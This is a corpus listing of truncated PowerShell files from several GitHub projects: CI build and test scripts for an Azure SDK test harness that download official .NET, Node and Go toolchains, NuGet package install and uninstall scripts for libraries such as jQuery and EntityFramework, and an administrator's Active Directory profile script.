PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/jenkins.ps1
jenkins.ps1
$oldCurrent = pwd subst t: /D subst t: $oldCurrent cd t:\ .\install.ps1 .\build.ps1 if (-Not $?) { Write-Error "build errors" exit $LASTEXITCODE } .\test.ps1 if (-Not $?) { Write-Error "test errors" exit $LASTEXITCODE } cd $oldCurrent subst t: /D
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/test.ps1
test.ps1
param([string]$TEST_PROJECT, [string]$TEST_LANG, [string]$TEST_CSM_ORGID_AUTHENTICATION) Import-Module ".\lib.psm1" if ($TEST_LANG) { $env:TEST_LANG = $TEST_LANG } if ($TEST_PROJECT) { $env:TEST_PROJECT = $TEST_PROJECT } .\common.ps1 .\lang.ps1 -script "test" "Testing SDK..." if ($TE...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/install.ps1
install.ps1
Import-Module ".\lib.psm1" "Installing..." .\common.ps1 Clear-Dir -path $env:TEST_COMMON "Installing .Net Core SDK..." $dotnetSdkUrl = "https://download.microsoft.com/download/E/7/8/E782433E-7737-4E6C-BFBF-290A0A81C3D7/dotnet-dev-win-x64.1.0.4.zip" .\lib\download-and-unzip.ps1 -url $dotnetSdkUrl -zip "dotne...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/common.ps1
common.ps1
Import-Module ".\lib.psm1" $env:TEST_COMMON = Join-Path (pwd) "x" $env:TEST_PROJECT = $env:TEST_PROJECT.Replace('_', '/') $env:TEST_NODE_VER = "v7.10.0" $env:TEST_NODE = "node-" + $env:TEST_NODE_VER + "-win-x64" $env:TEST_NODE_FOLDER = Join-Path $env:TEST_COMMON $env:TEST_NODE $env:Path = $env:TEST_NODE_F...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/build.ps1
build.ps1
param([string]$TEST_PROJECT, [string]$TEST_LANG) Import-Module ".\lib.psm1" function Generate-Sdk { param([psobject] $info) $dotNet = $info.dotNet $info "Generating SDK..." If ($dotNet.commit) { "Commit: $($dotNet.commit)" cd azure-rest-api-specs git che...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/main.ps1
main.ps1
param([string]$TEST_PROJECT, [string] $TEST_LANG, [string]$TEST_CSM_ORGID_AUTHENTICATION) .\build.ps1 -TEST_PROJECT $TEST_PROJECT -TEST_LANG $TEST_LANG .\test.ps1 -TEST_PROJECT $TEST_PROJECT -TEST_LANG $TEST_LANG -TEST_CSM_ORGID_AUTHENTICATION $TEST_CSM_ORGID_AUTHENTICATION
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/lib/download-and-unzip.ps1
download-and-unzip.ps1
param([string]$url, [string]$zip, [string]$dest) $zip = Join-Path $env:TEST_COMMON $zip "Downloading $zip" $client = new-object System.Net.WebClient $client.DownloadFile($url, $zip) "Expanding $zip to $dest" Expand-Archive $zip -DestinationPath $dest
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/lib/remove.ps1
remove.ps1
param([string]$path) If (Test-Path $path){ Remove-Item $path -Recurse -Force }
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/go/test.ps1
test.ps1
.\go\common.ps1
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/go/install.ps1
install.ps1
.\go\common.ps1 mkdir $env:GOPATH "Installing Go..." $goUrl = "https://storage.googleapis.com/golang/go1.8.1.windows-amd64.zip" .\lib\download-and-unzip.ps1 -url $goUrl -zip "go.zip" -dest $env:TEST_COMMON "Getting glide..." go get -v github.com/Masterminds/glide "Getting lint..." go get -v -u github.co...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/go/common.ps1
common.ps1
$env:GOROOT = Join-Path $env:TEST_COMMON "go" $env:GOPATH = Join-Path $env:TEST_COMMON "gosrc" $env:Path = (Join-Path $env:GOROOT "bin") + ";" + $env:Path $env:GOPATHSRC = Join-Path $env:GOPATH "src" $env:GOSERVER = "github.com\sergey-shandar\gosdkserver" $env:GOSERVERFOLDER = Join-Path $env:GOPATHSRC $env:GOSER...
PowerShellCorpus/Github/Azure_azure-rest-api-specs-tests/go/build.ps1
build.ps1
.\go\common.ps1 $current = pwd "Downloading azure-sdk-for-go..." $azureSdkPath = Join-Path $env:GOPATHSRC "github.com\Azure\azure-sdk-for-go" git clone -q --branch=master https://github.com/sergey-shandar/azure-sdk-for-go $azureSdkPath # go get github.com/Azure/azure-sdk-for-go "Installing azure-sdk-for-go....
PowerShellCorpus/Github/bryantylai_Win10GameJam/OpenCeremony/packages/Microsoft.ApplicationInsights.WindowsApps.0.14.3-build00177/tools/wp8/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Split-Path $toolsPath -Parent | Join-Path -ChildPath "Microsoft.ApplicationInsights.psm1" | Import-Module Add-ApplicationInsights $project; Remove-Module Microsoft.ApplicationInsights; # SIG # Begin signature block # MIIaoQYJKoZIhvcNAQcCoIIakjCCGo4CAQExCzAJ...
PowerShellCorpus/Github/bryantylai_Win10GameJam/OpenCeremony/packages/Microsoft.ApplicationInsights.WindowsApps.0.14.3-build00177/tools/win81/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Split-Path $toolsPath -Parent | Join-Path -ChildPath "Microsoft.ApplicationInsights.psm1" | Import-Module Add-ApplicationInsights $project; Remove-Module Microsoft.ApplicationInsights; # SIG # Begin signature block # MIIaoQYJKoZIhvcNAQcCoIIakjCCGo4CAQExCzAJ...
PowerShellCorpus/Github/bryantylai_Win10GameJam/OpenCeremony/packages/Microsoft.ApplicationInsights.WindowsApps.0.14.3-build00177/tools/wpa81/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Split-Path $toolsPath -Parent | Join-Path -ChildPath "Microsoft.ApplicationInsights.psm1" | Import-Module Add-ApplicationInsights $project; Remove-Module Microsoft.ApplicationInsights; # SIG # Begin signature block # MIIaoQYJKoZIhvcNAQcCoIIakjCCGo4CAQExCzAJ...
PowerShellCorpus/Github/bryantylai_Win10GameJam/OpenCeremony/packages/Microsoft.ApplicationInsights.0.14.3-build00177/tools/net40/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) # Checking if Path exists because the websites don't have a project file if ([System.IO.File]::Exists($project.FullName)) { # Need to load MSBuild assembly if it's not loaded yet. Add-Type -AssemblyName 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, Pu...
PowerShellCorpus/Github/bryantylai_Win10GameJam/OpenCeremony/packages/Microsoft.ApplicationInsights.0.14.3-build00177/tools/net40/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # Checking if Path exists because the websites don't have a project file if ([System.IO.File]::Exists($project.FullName)) { # Need to load MSBuild assembly if it's not loaded yet. Add-Type -AssemblyName 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, Publ...
PowerShellCorpus/Github/IrritatedGoat_Powershell/profile.ps1
profile.ps1
$psdir = "C:\Tools\PS Scripts" Import-Module ActiveDirectory Function Get-Expiration # Gets AD account Expiration { $u = Read-Host "What username?" Get-ADUser -Identity $u -Properties PasswordExpired,LockedOut | FL Name, PasswordExpired, LockedOut } Function Start-RemoteRegistry #Start Remote Registry servic...
PowerShellCorpus/Github/UndPat_LojaQuiron/Quiron.LojaVirtual/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/UndPat_LojaQuiron/Quiron.LojaVirtual/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/UndPat_LojaQuiron/Quiron.LojaVirtual/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/UndPat_LojaQuiron/Quiron.LojaVirtual/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/UndPat_LojaQuiron/Quiron.LojaVirtual/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/UndPat_LojaQuiron/Quiron.LojaVirtual/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/UndPat_LojaQuiron/Quiron.LojaVirtual/packages/EntityFramework.6.1.3/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...